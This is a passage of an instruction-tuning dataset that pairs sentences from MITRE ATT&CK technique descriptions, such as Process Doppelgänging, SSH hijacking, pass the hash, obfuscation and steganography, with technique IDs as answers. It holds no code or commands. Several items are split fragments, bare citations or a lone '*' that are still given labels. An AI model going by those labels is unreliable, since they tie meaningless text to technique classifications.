MITRE techniques contained in the text.", "input": "Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These changes will be isolated and only visible within the context of the transaction.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These changes will be isolated and only visible within the context of the transaction. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Load \u2013 Create a shared section of memory and load the malicious executable.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Load \u2013 Create a shared section of memory and load the malicious executable. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* Animate \u2013 Create a process from the tainted section of memory and initiate execution.", "output": "T1186", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * Animate \u2013 Create a process from the tainted section of memory and initiate execution. ### Response: T1186."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems.", "output": "T1184", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. ### Response: T1184."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.", "output": "T1184", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair. ### Response: T1184."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system.", "output": "T1184", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. ### Response: T1184."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may occur through compromising the SSH agent itself or by having access to the agent's socket.", "output": "T1184", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may occur through compromising the SSH agent itself or by having access to the agent's socket. ### Response: T1184."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.", "output": "T1184", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. ### Response: T1184."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials.", "output": "T1184", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. ### Response: T1184."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Welivesecurity Ebury SSH)", "output": "T1184", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Welivesecurity Ebury SSH) ### Response: T1184."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "output": "T1184", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078). ### Response: T1184."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information in an attempt to calculate the geographical location of a victim host.", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information in an attempt to calculate the geographical location of a victim host. ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information from [System Location Discovery](https://attack.mitre.org/techniques/T1614) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation:", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to infer the location of a system using various system checks, such as time zone, keyboard layout, and/or language settings.(Citation: FBI Ragnar Locker 2020)(Citation: Sophos Geolocation 2016)(Citation: ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bleepingcomputer RAT malware 2020)", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bleepingcomputer RAT malware 2020) ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020)", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows API functions such as <code>GetLocaleInfoW</code> can also be used to determine the locale of the host.(Citation: FBI Ragnar Locker 2020) ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation:", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud environments, an instance's availability zone may also be discovered by accessing the instance metadata service from the instance.(Citation: AWS Instance Identity Documents)(Citation: ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Azure Instance Metadata 2021)", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Azure Instance Metadata 2021) ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016)", "output": "T1614", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to infer the location of a victim host using IP addressing, such as via online geolocation IP-lookup services.(Citation: Securelist Trasparent Tribe 2020)(Citation: Sophos Geolocation 2016) ### Response: T1614."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host.", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions.", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check) ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts.", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019)", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019) ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation:", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Nls\\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation: ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation:", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "SecureList SynAck Doppelg\u00e4nging May 2018)", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: SecureList SynAck Doppelg\u00e4nging May 2018) ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.", "output": "T1614.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable. ### Response: T1614.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network.", "output": "T1095", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. ### Response: T1095."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The list of possible protocols is extensive.(Citation: Wikipedia OSI)", "output": "T1095", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The list of possible protocols is extensive.(Citation: Wikipedia OSI) ### Response: T1095."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).", "output": "T1095", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL). ### Response: T1095."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP)", "output": "T1095", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution) Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.(Citation: Microsoft ICMP) ### Response: T1095."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", "output": "T1095", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications. ### Response: T1095."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password.", "output": "T1075", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. ### Response: T1075."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.", "output": "T1075", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash. ### Response: T1075."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this technique, valid password hashes for the account being used are captured using a Credential Access technique.", "output": "T1075", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this technique, valid password hashes for the account being used are captured using a Credential Access technique. ### Response: T1075."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Captured hashes are used with PtH to authenticate as that user.", "output": "T1075", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Captured hashes are used with PtH to authenticate as that user. ### Response: T1075."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once authenticated, PtH may be used to perform actions on local or remote systems.", "output": "T1075", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once authenticated, PtH may be used to perform actions on local or remote systems. ### Response: T1075."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes.", "output": "T1075", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows 7 and higher with KB2871997 require valid domain user credentials or RID 500 administrator hashes. ### Response: T1075."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: NSA Spotting)", "output": "T1075", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: NSA Spotting) ### Response: T1075."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is common behavior that can be used across different platforms and the network to evade defenses.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is common behavior that can be used across different platforms and the network to evade defenses. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may be compressed, archived, or encrypted in order to avoid detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may be compressed, archived, or encrypted in order to avoid detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These payloads may be used during Initial Access or later to mitigate detection.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These payloads may be used during Initial Access or later to mitigate detection. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) for [User Execution](https://attack.mitre.org/techniques/T1204). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Volexity PowerDuke November 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Volexity PowerDuke November 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use compressed or archived scripts, such as JavaScript.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use compressed or archived scripts, such as JavaScript. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Linux/Cdorked.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Linux/Cdorked. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A We Live Security Analysis)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A We Live Security Analysis) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Carbon Black Obfuscation Sept 2016)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Carbon Black Obfuscation Sept 2016) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse [Command Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms.", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Obfuscation June 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Obfuscation June 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017)", "output": "T1027", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: FireEye Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) ### Response: T1027."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use steganography techniques in order to prevent the detection of hidden information.", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use steganography techniques in order to prevent the detection of hidden information. ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files. ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography.", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu)", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "By the end of 2017, a threat group used\u202f<code>Invoke-PSImage</code>\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system.", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: By the end of 2017, a threat group used\u202f<code>Invoke-PSImage</code>\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation:", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "McAfee Malicious Doc Targets Pyeongchang Olympics)", "output": "T1027.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: McAfee Malicious Doc Targets Pyeongchang Olympics) ### Response: T1027.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may compromise third-party infrastructure that can be used during targeting.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may compromise third-party infrastructure that can be used during targeting. ### Response: T1584."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Infrastructure solutions include physical or cloud servers, domains, and third-party web and DNS services.", "output": "T1584", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### 